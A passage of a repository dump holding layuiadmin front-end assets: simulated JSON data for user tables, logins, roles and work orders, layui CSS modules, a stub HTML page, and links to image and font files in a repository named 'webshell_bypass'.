| ,"city": "浙江杭州" 79 | ,"sign": "人生恰似一场修行" 80 | ,"experience": "16" 81 | ,"ip": "192.168.0.8" 82 | ,"logins": "106" 83 | ,"joinTime": "2016-10-14" 84 | }, { 85 | "id": "10008" 86 | ,"username": "贤心" 87 | ,"email": "xianxin@layui.com" 88 | ,"sex": "男" 89 | ,"city": "浙江杭州" 90 | ,"sign": "人生恰似一场修行" 91 | ,"experience": "106" 92 | ,"ip": "192.168.0.8" 93 | ,"logins": "106" 94 | ,"joinTime": "2016-10-14" 95 | }] 96 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/table/demo2.js: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "code": 0 4 | ,"msg": "" 5 | ,"count": 66 6 | ,"data": [{ 7 | "username": "张小三" 8 | ,"amount": 18 9 | ,"province": "浙江" 10 | ,"city": "杭州" 11 | ,"zone": "西湖区" 12 | ,"street": "西溪街道" 13 | ,"address": "西溪花园" 14 | ,"house": "30栋1单元" 15 | }, { 16 | "username": "李小四" 17 | ,"amount": 39 18 | ,"province": "江苏" 19 | ,"city": "苏州" 20 | ,"zone": "姑苏区" 21 | ,"street": "丝绸路" 22 | ,"address": "天墅之城" 23 | ,"house": "9幢2单元" 24 | }, { 25 | "username": "王小五" 26 | ,"amount": 8 27 | ,"province": "江西" 28 | ,"city": "南昌" 29 | ,"zone": "青山湖区" 30 | ,"street": "艾溪湖办事处" 31 | ,"address": "中兴和园" 32 | ,"house": "1幢3单元" 33 | }, { 34 | "username": "赵小六" 35 | ,"amount": 16 36 | ,"province": "福建" 37 | ,"city": "泉州" 38 | ,"zone": "丰泽区" 39 | ,"street": "南洋街道" 40 | ,"address": "南洋村" 41 | ,"house": "6幢1单元" 42 | }, { 43 | "username": "孙小七" 44 | ,"amount": 12 45 | ,"province": "湖北" 46 | ,"city": "武汉" 47 | ,"zone": "武昌区" 48 | ,"street": "武昌大道" 49 | ,"address": "两湖花园" 50 | ,"house": "16幢2单元" 51 | }, { 52 | "username": "周小八" 53 | ,"amount": 11 54 | ,"province": "安徽" 55 | ,"city": "黄山" 56 | ,"zone": "黄山区" 57 | ,"street": "汤口镇" 58 | ,"address": "温泉村" 59 | ,"house": "21号" 60 | }] 61 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/table/demo3.js: -------------------------------------------------------------------------------- 1 | { 2 | "status": 200 3 | ,"message": "" 4 | ,"total": 8 5 | ,"rows": { 6 | "item": [{ 7 | "id": "10001" 8 | ,"username": "杜甫" 9 | ,"email": "xianxin@layui.com" 10 | ,"sex": "男" 11 | ,"city": "浙江杭州" 12 | ,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。" 13 | ,"experience": "116" 14 | ,"ip": "192.168.0.8" 15 | ,"logins": "108" 16 | ,"joinTime": "2016-10-14" 17 | }, { 18 | "id": "10002" 19 | ,"username": "李白" 20 | ,"email": "xianxin@layui.com" 21 | ,"sex": "男" 22 | ,"city": "浙江杭州" 23 | ,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。" 24 | ,"experience": "12" 25 | ,"ip": "192.168.0.8" 26 | ,"logins": "106" 27 | ,"joinTime": "2016-10-14" 28 | }, { 29 | "id": "10003" 30 | ,"username": "王勃" 31 | ,"email": "xianxin@layui.com" 32 | ,"sex": "男" 33 | ,"city": "浙江杭州" 34 | ,"sign": "人生恰似一场修行" 35 | ,"experience": "65" 36 | ,"ip": "192.168.0.8" 37 | ,"logins": "106" 38 | ,"joinTime": "2016-10-14" 39 | }, { 40 | "id": "10004" 41 | ,"username": "李清照" 42 | ,"email": "xianxin@layui.com" 43 | ,"sex": "女" 44 | ,"city": "浙江杭州" 45 | ,"sign": "人生恰似一场修行" 46 | ,"experience": "666" 47 | ,"ip": "192.168.0.8" 48 | ,"logins": "106" 49 | ,"joinTime": "2016-10-14" 50 | }, { 51 | "id": "10005" 52 | ,"username": "冰心" 53 | ,"email": "xianxin@layui.com" 54 | ,"sex": "女" 55 | ,"city": "浙江杭州" 56 | ,"sign": "人生恰似一场修行" 57 | ,"experience": "86" 58 | ,"ip": "192.168.0.8" 59 | ,"logins": "106" 60 | ,"joinTime": "2016-10-14" 61 | }, { 62 | "id": "10006" 63 | ,"username": "贤心" 64 | ,"email": "xianxin@layui.com" 65 | ,"sex": "男" 66 | ,"city": "浙江杭州" 67 | ,"sign": "人生恰似一场修行" 68 | ,"experience": "12" 69 | ,"ip": "192.168.0.8" 70 | ,"logins": "106" 71 | ,"joinTime": "2016-10-14" 72 | }, { 73 | "id": "10007" 74 | ,"username": "贤心" 75 | ,"email": "xianxin@layui.com" 76 | ,"sex": "男" 77 | ,"city": "浙江杭州" 78 | ,"sign": "人生恰似一场修行" 79 | ,"experience": "16" 80 | ,"ip": "192.168.0.8" 81 | ,"logins": "106" 82 | ,"joinTime": "2016-10-14" 83 | }, { 84 | "id": "10008" 85 | ,"username": "贤心" 86 | ,"email": "xianxin@layui.com" 87 | ,"sex": "男" 88 | ,"city": "浙江杭州" 89 | ,"sign": "人生恰似一场修行" 90 | ,"experience": "106" 91 | ,"ip": "192.168.0.8" 92 | ,"logins": "106" 93 | ,"joinTime": "2016-10-14" 94 | }] 95 | } 96 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/table/user.js: -------------------------------------------------------------------------------- 1 | 2 | {"code":0,"msg":"","count":1000,"data":[{"id":10000,"username":"user-0","sex":"女","city":"城市-0","sign":"签名-0","experience":255,"logins":24,"wealth":82830700,"classify":"作家","score":57},{"id":10001,"username":"user-1","sex":"男","city":"城市-1","sign":"签名-1","experience":884,"logins":58,"wealth":64928690,"classify":"词人","score":27},{"id":10002,"username":"user-2","sex":"女","city":"城市-2","sign":"签名-2","experience":650,"logins":77,"wealth":6298078,"classify":"酱油","score":31},{"id":10003,"username":"user-3","sex":"女","city":"城市-3","sign":"签名-3","experience":362,"logins":157,"wealth":37117017,"classify":"诗人","score":68},{"id":10004,"username":"user-4","sex":"男","city":"城市-4","sign":"签名-4","experience":807,"logins":51,"wealth":76263262,"classify":"作家","score":6},{"id":10005,"username":"user-5","sex":"女","city":"城市-5","sign":"签名-5","experience":173,"logins":68,"wealth":60344147,"classify":"作家","score":87},{"id":10006,"username":"user-6","sex":"女","city":"城市-6","sign":"签名-6","experience":982,"logins":37,"wealth":57768166,"classify":"作家","score":34},{"id":10007,"username":"user-7","sex":"男","city":"城市-7","sign":"签名-7","experience":727,"logins":150,"wealth":82030578,"classify":"作家","score":28},{"id":10008,"username":"user-8","sex":"男","city":"城市-8","sign":"签名-8","experience":951,"logins":133,"wealth":16503371,"classify":"词人","score":14},{"id":10009,"username":"user-9","sex":"女","city":"城市-9","sign":"签名-9","experience":484,"logins":25,"wealth":86801934,"classify":"词人","score":75}]} -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/upload/demo.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0, 3 | "msg": "", 4 | "data": { 5 | "src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/forget.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "注册成功" 4 | ,"data": { 5 | 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/login.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "登入成功" 4 | ,"data": { 5 | "access_token": "c262e61cd13ad99fc650e6908c7e5e65b63d2f32185ecfed6b801ee3fbdd5c0a" 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/logout.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "退出成功" 4 | ,"data": null 5 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/reg.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "注册成功" 4 | ,"data": { 5 | 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/resetpass.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "注册成功" 4 | ,"data": { 5 | 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/session.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"data": { 5 | "username": "贤心" 6 | ,"sex": "男" 7 | ,"role": 1 8 | } 9 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/user/sms.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "注册成功" 4 | ,"data": { 5 | 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/useradmin/mangadmin.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "1001" 7 | ,"loginname": "admin" 8 | ,"telphone": "11111111111" 9 | ,"email": "111@qq.com" 10 | ,"role": "超级管理员" 11 | ,"jointime": "20150217" 12 | ,"check": true 13 | },{ 14 | "id": "1002" 15 | ,"loginname": "common-1" 16 | ,"telphone": "22222222222" 17 | ,"email": "222@qq.com" 18 | ,"role": "管理员" 19 | ,"jointime": "20160217" 20 | ,"check": false 21 | },{ 22 | "id": "1003" 23 | ,"loginname": "common-2" 24 | ,"telphone": "33333333333" 25 | ,"email": "333@qq.com" 26 | ,"role": "管理员" 27 | ,"jointime": "20161012" 28 | ,"check": false 29 | },{ 30 | "id": "1004" 31 | ,"loginname": "common-3" 32 | ,"telphone": "44444444444" 33 | ,"email": "444@qq.com" 34 | ,"role": "管理员" 35 | ,"jointime": "20170518" 36 | ,"check": true 37 | },{ 38 | "id": "1005" 39 | ,"loginname": "common-4" 40 | ,"telphone": "55555555555" 41 | ,"email": "555@qq.com" 42 | ,"role": "管理员" 43 | ,"jointime": "20180101" 44 | ,"check": false 45 | },{ 46 | "id": "1006" 47 | ,"loginname": "common-5" 48 | ,"telphone": "66666666666" 49 | ,"email": "666@qq.com" 50 | ,"role": "管理员" 51 | ,"jointime": "20160217" 52 | ,"check": false 53 | },{ 54 | "id": "1007" 55 | ,"loginname": "common-6" 56 | ,"telphone": "77777777777" 57 | ,"email": "777@qq.com" 58 | ,"role": "管理员" 59 | ,"jointime": "20161012" 60 | ,"check": false 61 | },{ 62 | "id": "1008" 63 | ,"loginname": "common-7" 64 | ,"telphone": "88888888888" 65 | ,"email": "888@qq.com" 66 | ,"role": "管理员" 67 | ,"jointime": "20170518" 68 | ,"check": true 69 | },{ 70 | "id": "1009" 71 | ,"loginname": "common-8" 72 | ,"telphone": "99999999999" 73 | ,"email": "999@qq.com" 74 | ,"role": "管理员" 75 | ,"jointime": "20180101" 76 | ,"check": false 77 | }] 78 | } 79 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/useradmin/role.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "1" 7 | ,"rolename": "超级管理员" 8 | ,"limits": "管理所有的管理员" 9 | ,"descr": "拥有至高无上的权利" 10 | ,"check": true 11 | },{ 12 | "id": "2" 13 | ,"rolename": "管理员" 14 | ,"limits": "所有列表的管理" 15 | ,"descr": "事情很多,权力很大" 16 | ,"check": true 17 | },{ 18 | "id": "3" 19 | ,"rolename": "文章撰写员" 20 | ,"limits": "负责文章的编写" 21 | ,"descr": "文采第一的人才集合" 22 | ,"check": false 23 | },{ 24 | "id": "4" 25 | ,"rolename": "纠错员" 26 | ,"limits": "负责文章内容的修改" 27 | ,"descr": "暂无" 28 | ,"check": false 29 | },{ 30 | "id": "5" 31 | ,"rolename": "统计人员" 32 | ,"limits": "对数据进行统计" 33 | ,"descr": "暂无" 34 | ,"check": false 35 | },{ 36 | "id": "6" 37 | ,"rolename": "评估员" 38 | ,"limits": "对统计数据进行评估" 39 | ,"descr": "及时捕捉市场发展动态" 40 | ,"check": false 41 | },{ 42 | "id": "7" 43 | ,"rolename": "采购员" 44 | ,"limits": "负责员工的伙食" 45 | ,"descr": "暂无" 46 | ,"check": false 47 | },{ 48 | "id": "8" 49 | ,"rolename": "推销员" 50 | ,"limits": "介绍销售公司产品" 51 | ,"descr": "暂无" 52 | ,"check": false 53 | }] 54 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/workorder/demo.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "orderid": 111 7 | ,"title": "移动支付踏入马来西亚,聚合支付紧随其后" 8 | ,"attr": "公告" 9 | ,"progress": "25%" 10 | ,"submit": "贤心" 11 | ,"accept": "员工-1" 12 | ,"state": "处理中" 13 | },{ 14 | "orderid": 222 15 | ,"title": "凡科拖拽式免费建站神器,享双重优惠!" 16 | ,"attr": "讨论" 17 | ,"progress": "100%" 18 | ,"submit": "猫吃" 19 | ,"accept": "员工-1" 20 | ,"state": "已处理" 21 | },{ 22 | "orderid": 333 23 | ,"title": "看着别人的老板给员工送汽车有感" 24 | ,"attr": "分享" 25 | ,"progress": "0%" 26 | ,"submit": "纸飞机" 27 | ,"accept": "" 28 | ,"state": "未分配" 29 | },{ 30 | "orderid": 444 31 | ,"title": "DISCUZ的云平台应该彻底完了" 32 | ,"attr": "提问" 33 | ,"progress": "0%" 34 | ,"submit": "纸飞机" 35 | ,"accept": "" 36 | ,"state": "未分配" 37 | },{ 38 | "orderid": 555 39 | ,"title": "现在个人网站还有必要长期坚持下去吗?" 40 | ,"attr": "提问" 41 | ,"progress": "50%" 42 | ,"submit": "纸飞机" 43 | ,"accept": "员工-2" 44 | ,"state": "处理中" 45 | },{ 46 | "orderid": 666 47 | ,"title": "向北京公安局投诉了京东商城" 48 | ,"attr": "公告" 49 | ,"progress": "25%" 50 | ,"submit": "纸飞机" 51 | ,"accept": "员工-3" 52 | ,"state": "处理中" 53 | },{ 54 | "orderid": 777 55 | ,"title": "游戏 网页美工,一个月多少工资才正常?" 56 | ,"attr": "提问" 57 | ,"progress": "100%" 58 | ,"submit": "纸飞机" 59 | ,"accept": "员工-1" 60 | ,"state": "已处理" 61 | },{ 62 | "orderid": 888 63 | ,"title": "几年没来了,蓝色理想帖子这么少了啊" 64 | ,"attr": "提问" 65 | ,"progress": "0%" 66 | ,"submit": "纸飞机" 67 | ,"accept": "" 68 | ,"state": "未分配" 69 | },{ 70 | "orderid": 999 71 | ,"title": "我的天,求推荐靠谱的学习网站" 72 | ,"attr": "提问" 73 | ,"progress": "50%" 74 | ,"submit": "纸飞机" 75 | ,"accept": "员工-2" 76 | ,"state": "处理中" 77 | }] 78 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/说明.txt: -------------------------------------------------------------------------------- 1 | 2 | 注意:这里是模拟的数据。 3 | 实际应用时,请在模板文件(.html)中的 lay-url="" 和其它相关接口的 url 设置成你真实的接口地址 -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/code.css: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | html #layuicss-skincodecss{display:none;position:absolute;width:1989px}.layui-code-h3,.layui-code-view{position:relative;font-size:12px}.layui-code-view{display:block;margin:10px 0;padding:0;border:1px solid #e2e2e2;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New}.layui-code-h3{padding:0 10px;height:32px;line-height:32px;border-bottom:1px solid #e2e2e2}.layui-code-h3 a{position:absolute;right:10px;top:0;color:#999}.layui-code-view .layui-code-ol{position:relative;overflow:auto}.layui-code-view .layui-code-ol li{position:relative;margin-left:45px;line-height:20px;padding:0 5px;border-left:1px solid #e2e2e2;list-style-type:decimal-leading-zero;*list-style-type:decimal;background-color:#fff}.layui-code-view pre{margin:0}.layui-code-notepad{border:1px solid #0C0C0C;border-left-color:#3F3F3F;background-color:#0C0C0C;color:#C2BE9E}.layui-code-notepad .layui-code-h3{border-bottom:none}.layui-code-notepad .layui-code-ol li{background-color:#3F3F3F;border-left:none} -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/laydate/default/font.css: -------------------------------------------------------------------------------- 1 | /** 图标字体 **/ 2 | @font-face {font-family: 'laydate-icon'; 3 | src: url('./font/iconfont.eot'); 4 | src: url('./font/iconfont.eot#iefix') format('embedded-opentype'), 5 | url('./font/iconfont.svg#iconfont') format('svg'), 6 | url('./font/iconfont.woff') format('woff'), 7 | url('./font/iconfont.ttf') format('truetype'); 8 | } 9 | 10 | .laydate-icon{ 11 | font-family:"laydate-icon" !important; 12 | font-size: 16px; 13 | font-style: normal; 14 | -webkit-font-smoothing: antialiased; 15 | -moz-osx-font-smoothing: grayscale; 16 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layer/default/icon-ext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layer/default/icon-ext.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layer/default/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layer/default/icon.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layer/default/loading-0.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layer/default/loading-0.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layer/default/loading-1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layer/default/loading-1.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layer/default/loading-2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layer/default/loading-2.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/html/find.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 发现 9 | 10 | 11 | 14 | 15 | 16 | 17 |
18 |
此为自定义的【查找】页面,因需求不一,所以官方暂不提供该模版结构与样式,实际使用时,可移至该文件到你的项目中,对页面自行把控。 19 |
文件所在目录(相对于layui.js):/css/modules/layim/html/find.html
20 |
21 | 22 | 23 | 24 | 25 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/html/getmsg.json: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0, 3 | "pages": 1, 4 | "data": [ 5 | { 6 | "id": 76, 7 | "content": "申请添加你为好友", 8 | "uid": 168, 9 | "from": 166488, 10 | "from_group": 0, 11 | "type": 1, 12 | "remark": "有问题要问", 13 | "href": null, 14 | "read": 1, 15 | "time": "刚刚", 16 | "user": { 17 | "id": 166488, 18 | "avatar": "http://q.qlogo.cn/qqapp/101235792/B704597964F9BD0DB648292D1B09F7E8/100", 19 | "username": "李彦宏", 20 | "sign": null 21 | } 22 | }, 23 | { 24 | "id": 75, 25 | "content": "申请添加你为好友", 26 | "uid": 168, 27 | "from": 347592, 28 | "from_group": 0, 29 | "type": 1, 30 | "remark": "你好啊!", 31 | "href": null, 32 | "read": 1, 33 | "time": "刚刚", 34 | "user": { 35 | "id": 347592, 36 | "avatar": "http://q.qlogo.cn/qqapp/101235792/B78751375E0531675B1272AD994BA875/100", 37 | "username": "麻花疼", 38 | "sign": null 39 | } 40 | }, 41 | { 42 | "id": 62, 43 | "content": "雷军 拒绝了你的好友申请", 44 | "uid": 168, 45 | "from": null, 46 | "from_group": null, 47 | "type": 1, 48 | "remark": null, 49 | "href": null, 50 | "read": 1, 51 | "time": "10天前", 52 | "user": { 53 | "id": null 54 | } 55 | }, 56 | { 57 | "id": 60, 58 | "content": "马小云 已经同意你的好友申请", 59 | "uid": 168, 60 | "from": null, 61 | "from_group": null, 62 | "type": 1, 63 | "remark": null, 64 | "href": null, 65 | "read": 1, 66 | "time": "10天前", 67 | "user": { 68 | "id": null 69 | } 70 | }, 71 | { 72 | "id": 61, 73 | "content": "贤心 已经同意你的好友申请", 74 | "uid": 168, 75 | "from": null, 76 | "from_group": null, 77 | "type": 1, 78 | "remark": null, 79 | "href": null, 80 | "read": 1, 81 | "time": "10天前", 82 | "user": { 83 | "id": null 84 | } 85 | } 86 | ] 87 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/1.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/2.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/3.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/4.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/5.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/css/modules/layim/skin/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/css/modules/layim/skin/logo.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/font/iconfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/font/iconfont.eot -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/font/iconfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/font/iconfont.ttf -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/font/iconfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/font/iconfont.woff -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/0.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/0.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/1.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/10.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/10.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/11.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/11.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/12.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/12.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/13.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/13.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/14.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/14.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/15.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/15.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/16.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/16.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/17.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/17.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/18.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/18.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/19.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/19.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/2.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/20.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/20.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/21.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/21.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/22.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/22.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/23.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/23.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/24.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/24.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/25.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/25.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/26.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/26.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/27.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/27.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/28.gif: -------------------------------------------------------------------------------- 